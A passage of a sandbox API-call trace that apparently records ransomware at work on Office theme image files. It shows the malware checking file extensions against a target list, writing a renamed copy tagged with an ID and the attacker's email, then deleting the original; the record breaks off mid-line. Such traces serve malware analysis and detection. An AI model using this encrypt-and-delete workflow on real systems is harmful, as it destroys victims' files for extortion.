[0054.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.506] lstrlenW (lpString=".zip") returned 4 [0054.506] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.506] lstrlenW (lpString=".rar") returned 4 [0054.506] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.506] lstrlenW (lpString=".bz2") returned 4 [0054.506] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.506] lstrlenW (lpString=".7z") returned 3 [0054.506] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.506] lstrlenW (lpString=".dbf") returned 4 [0054.506] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.506] lstrlenW (lpString=".1cd") returned 4 [0054.506] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0054.506] lstrlenW (lpString=".jpg") returned 4 [0054.506] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.506] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.506] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.507] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2209) returned 1 [0054.507] CloseHandle (hObject=0x20c) returned 1 [0054.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0054.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.508] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.508] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.509] GetLastError () returned 0x0 [0054.509] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0054.511] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0054.512] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.512] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.512] SetEndOfFile (hFile=0x1f4) returned 1 [0054.512] CloseHandle (hObject=0x1f4) returned 1 [0054.512] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.512] SetEndOfFile (hFile=0x20c) returned 1 [0054.513] CloseHandle (hObject=0x20c) returned 1 [0054.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.513] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0054.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.513] lstrlenW (lpString=".doc") returned 4 [0054.513] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.513] lstrlenW (lpString=".docx") returned 5 [0054.513] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.513] lstrlenW (lpString=".pdf") returned 4 [0054.514] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.514] lstrlenW (lpString=".xls") returned 4 [0054.514] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.514] lstrlenW (lpString=".xlsx") returned 5 [0054.514] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.514] lstrlenW (lpString=".ppt") returned 4 [0054.514] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.514] lstrlenW (lpString=".zip") returned 4 [0054.514] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.514] lstrlenW (lpString=".rar") returned 4 [0054.514] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.514] lstrlenW (lpString=".bz2") returned 4 [0054.514] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.514] lstrlenW (lpString=".7z") returned 3 [0054.514] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.514] lstrlenW (lpString=".dbf") returned 4 [0054.514] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.514] lstrlenW (lpString=".1cd") returned 4 [0054.514] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.514] lstrlenW (lpString=".jpg") returned 4 [0054.514] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.514] lstrlenW (lpString=".doc") returned 4 [0054.514] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.514] lstrlenW (lpString=".docx") returned 5 [0054.514] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.514] lstrlenW (lpString=".pdf") returned 4 [0054.514] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.514] lstrlenW (lpString=".xls") returned 4 [0054.514] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.515] lstrlenW (lpString=".xlsx") returned 5 [0054.515] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.515] lstrlenW (lpString=".ppt") returned 4 [0054.515] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.515] lstrlenW (lpString=".zip") returned 4 [0054.515] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.515] lstrlenW (lpString=".rar") returned 4 [0054.515] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.515] lstrlenW (lpString=".bz2") returned 4 [0054.515] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.515] lstrlenW (lpString=".7z") returned 3 [0054.515] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.515] lstrlenW (lpString=".dbf") returned 4 [0054.515] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.515] lstrlenW (lpString=".1cd") returned 4 [0054.515] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0054.515] lstrlenW (lpString=".jpg") returned 4 [0054.515] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.515] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.515] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.516] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=21812) returned 1 [0054.516] CloseHandle (hObject=0x20c) returned 1 [0054.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0054.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.516] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.516] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.516] GetLastError () returned 0x0 [0054.516] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x5534, lpOverlapped=0x0) returned 1 [0054.518] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0054.519] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.520] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.520] SetEndOfFile (hFile=0x1f4) returned 1 [0054.520] CloseHandle (hObject=0x1f4) returned 1 [0054.520] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.520] SetEndOfFile (hFile=0x20c) returned 1 [0054.521] CloseHandle (hObject=0x20c) returned 1 [0054.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.521] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0054.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.521] lstrlenW (lpString=".doc") returned 4 [0054.521] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.521] lstrlenW (lpString=".docx") returned 5 [0054.521] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.521] lstrlenW (lpString=".pdf") returned 4 [0054.521] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.521] lstrlenW (lpString=".xls") returned 4 [0054.521] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.521] lstrlenW (lpString=".xlsx") returned 5 [0054.521] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.521] lstrlenW (lpString=".ppt") returned 4 [0054.522] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.522] lstrlenW (lpString=".zip") returned 4 [0054.522] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.522] lstrlenW (lpString=".rar") returned 4 [0054.522] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.522] lstrlenW (lpString=".bz2") returned 4 [0054.522] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.522] lstrlenW (lpString=".7z") returned 3 [0054.522] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.522] lstrlenW (lpString=".dbf") returned 4 [0054.522] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.522] lstrlenW (lpString=".1cd") returned 4 [0054.522] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.522] lstrlenW (lpString=".jpg") returned 4 [0054.522] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.522] lstrlenW (lpString=".doc") returned 4 [0054.522] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.522] lstrlenW (lpString=".docx") returned 5 [0054.522] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.522] lstrlenW (lpString=".pdf") returned 4 [0054.522] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.522] lstrlenW (lpString=".xls") returned 4 [0054.522] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.522] lstrlenW (lpString=".xlsx") returned 5 [0054.522] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.522] lstrlenW (lpString=".ppt") returned 4 [0054.522] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.522] lstrlenW (lpString=".zip") returned 4 [0054.523] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.523] lstrlenW (lpString=".rar") returned 4 [0054.523] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.523] lstrlenW (lpString=".bz2") returned 4 [0054.523] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.523] lstrlenW (lpString=".7z") returned 3 [0054.523] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.523] lstrlenW (lpString=".dbf") returned 4 [0054.523] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.523] lstrlenW (lpString=".1cd") returned 4 [0054.523] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0054.523] lstrlenW (lpString=".jpg") returned 4 [0054.523] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.523] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.523] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.524] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2527) returned 1 [0054.524] CloseHandle (hObject=0x20c) returned 1 [0054.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0054.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.524] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.524] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.526] GetLastError () returned 0x0 [0054.526] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x9df, lpOverlapped=0x0) returned 1 [0054.527] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0054.528] ReadFile (in: hFile=0x20c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.528] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.528] SetEndOfFile (hFile=0x180) returned 1 [0054.528] CloseHandle (hObject=0x180) returned 1 [0054.529] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.529] SetEndOfFile (hFile=0x20c) returned 1 [0054.529] CloseHandle (hObject=0x20c) returned 1 [0054.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.530] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0054.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.530] lstrlenW (lpString=".doc") returned 4 [0054.530] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.530] lstrlenW (lpString=".docx") returned 5 [0054.530] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.530] lstrlenW (lpString=".pdf") returned 4 [0054.530] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.530] lstrlenW (lpString=".xls") returned 4 [0054.530] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.530] lstrlenW (lpString=".xlsx") returned 5 [0054.530] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.530] lstrlenW (lpString=".ppt") returned 4 [0054.530] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.530] lstrlenW (lpString=".zip") returned 4 [0054.530] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.530] lstrlenW (lpString=".rar") returned 4 [0054.530] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.530] lstrlenW (lpString=".bz2") returned 4 [0054.530] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.530] lstrlenW (lpString=".7z") returned 3 [0054.530] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.530] lstrlenW (lpString=".dbf") returned 4 [0054.530] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.530] lstrlenW (lpString=".1cd") returned 4 [0054.530] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.531] lstrlenW (lpString=".jpg") returned 4 [0054.531] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0054.531] lstrlenW (lpString=".doc") returned 4 [0054.531] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.531] lstrlenW (lpString=".docx") returned 5 [0054.531] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.531] lstrlenW (lpString=".pdf") returned 4 [0054.531] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.531] lstrlenW (lpString=".xls") returned 4 [0054.531] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.531] lstrlenW (lpString=".xlsx") returned 5 [0054.531] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.531] lstrlenW (lpString=".ppt") returned 4 [0054.531] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 